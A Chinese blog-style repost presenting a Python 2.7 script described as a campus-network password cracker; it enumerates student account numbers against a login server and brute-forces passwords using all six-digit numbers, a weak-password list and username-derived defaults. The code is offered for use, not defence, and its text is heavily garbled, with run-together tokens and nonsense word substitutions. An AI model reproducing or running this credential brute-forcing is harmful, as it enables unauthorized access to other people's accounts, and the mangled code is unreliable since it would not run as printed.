首页 > 编程知识 正文

校园网密码破解程序是什么,破解学校网络密码

时间:2023-05-04 03:16:09 阅读:177609 作者:3062

环境: Python 2.7

#!/usr/kld xh/env python # coding=utf8 print ' * 50 printu '功能:轻松解读校园网账号' printu'Wechat公众号:电脑爱好' printu ' 否则,结果为' print ' ' * 50 importhttplibimporturlibimportreusername=[ ] http client=none if _ password=[ 000000,1234555 ] 555555、66666、777777、88888、999999、5201314 ] def determine (: NJ=int (raw _ input 13: ' ).strip () starip=16andnj!=17 ) ) :printu '的输入错误。' 打印'=' * 50m enu ) ) exit ) else :打印' pleasewaitamoment ' # 请重新选择结构编号forinrange(sttint ) 100 ) 3360key_numer=int(str(NJ ) str ) I ).zfill(4) str (j ).zfill(4) ) 360 ' application/x-www-form-urlencoded ',' accept ' : ' text/plain ' } http cced,' accept ' 3360 ' text/plled method name=reguserinfobean.checkuser ',params,headers (response=http client.getresponse ) right _ or _ wrong=re re.M|re.I ) iflen(zhengze )==1: username.append (key _ numer ) exceptException, e : printe finally : if http client 3360 http client.close (print '.' * 50 printu )在此范围内已建立的帐户: ' print ' ' printusernamer 50 returnusernamedefconnect (username,PassWord ) : globalatry 3360 params=urllib.urlencode (' password ' : password } } headers={ ' content-type ' : ' application/x-www-form-urlencoded ', ' accept ' : ' text/plain ' } http client=httplib.http connection (' 10.54.100.1 ',8080,timeout=30 ) http 参数, headers (response=http client.getresponse ) right _ or _ wrong=response.read (pipei=re.find all ) r ' errormmall )用于确定是否已爆破的标记passelse:printu '帐户:%s(000(000密码:%s () serntu ) )帐户e : printe finally : if efyanzheng ) :username=str(raw_input ) ' 3360 foriinrange (0,1000000 ) :PassWord=str(i ).zfill(6 (文件) password (IFA==1: break else : passdefdefault _ password _ single (: username=str (raw _ input ) ) pleasesessssssessssssesesssssesessesesesesesesesesesesesesese 0 ]连接(username,password ) IFA==0: password=' 123456 ' connect ) username, password(IFA==0:printu )为, 已搜索到“def default _ password _ not _ single”:打印' pleasewaitamoment ' forinrant ' len (用户名称)”:用户) password=username [ 3:10 ] connect ) username,password ) IFA password(if ) I==Len(username(-1Anda==0) 330 len(username ) ) :username=str(username[I] ) forjinrange(0,len(if_password ) ) 3360 password=if _ ppppppatr password(if ) I==Len(username(-1andj==Len ) if_password )-1anda==0) :printu '是' defmenu ' ) 333666 (1)已注册帐户“printu” )2)简单爆破“printu” t )3)查看单个默认密码查询' printu ' t (5)弱密码爆破(print(* ) 50choices=raw_input ) pleasechoices: ).strip ) iflen ) choices )=03360 contin nning elif choices='2' 3: yang le ) elif choices=='4' 33333 exit (if _ _ name _=' _ _ main _ ' : menu ) ) ) ) ) ) )。

微信公众号

转载于:https://blog.51cto.com/tdcqvip/1973967

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。